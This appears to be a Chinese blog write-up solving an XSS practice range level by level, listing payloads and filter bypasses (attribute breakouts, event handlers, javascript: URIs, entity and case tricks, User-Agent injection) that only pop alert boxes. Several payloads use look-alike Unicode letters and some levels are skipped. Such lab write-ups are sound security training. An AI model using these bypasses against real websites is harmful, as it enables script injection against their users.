XSS靶场

level1

输入<script>alert("xxs");</script>

level2

对input进行闭合

输入"><script>alert("xxs");</script>

level3

查看源代码是

使用了htmlspecialachars,所有不能使用/或者>

这里使用play:' 

但是单引号在这个函数中如果没做特殊的改动,默认是可以出效果

的payload为:' οnmοuseοver='alert(/xss/) //其他payload省略

level4

和一样使用了htmlspecialachars,这里使用"进行闭合

" οnmοuseοver=" alert(/xss/)

level5

poc :"><a href="javascript:alert(1)">test</a>

level6

可以使用大小绕过

poc:"><Script>alert("xxs");</Script>

level8

poc:javascri&#x70;t:alert(1)

使用html实体编码绕过

level9

判断输入的是否有http://

poc:javascri&#x70t:alert(/xxs/)//http://

level10

找到隐藏参数:

t_sort

然后poc:

t_sort=xss" οnclick=alert(/xss/) type="text"

查看源代码是有t_sort参数的

然后这个input是hidden隐藏的,我们要设置text

所有poc:t_sort=xss" οnclick=alert(/xss/) type="text"

level12

使用user-Agent: xxs" οnclick="alert(1)

level13

可以使用cookie进行破坏

level16

对script, 空格 ,/进行替换

可以使用编码

<img

src=xss

οnmοuseοver=alert('xss')>

url编码然后绕过

level17

全部被实体化

但是embed标签 可以插入事件

所有直接插入:

οnmοuseοver=alert('xss')

level18

一样的对输入的数据全部实体化,还是可以插入οnmοuseοver=alert('xxs')

当鼠标移动到这个位置然后弹出窗口

level19

以上面一样的方法

  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值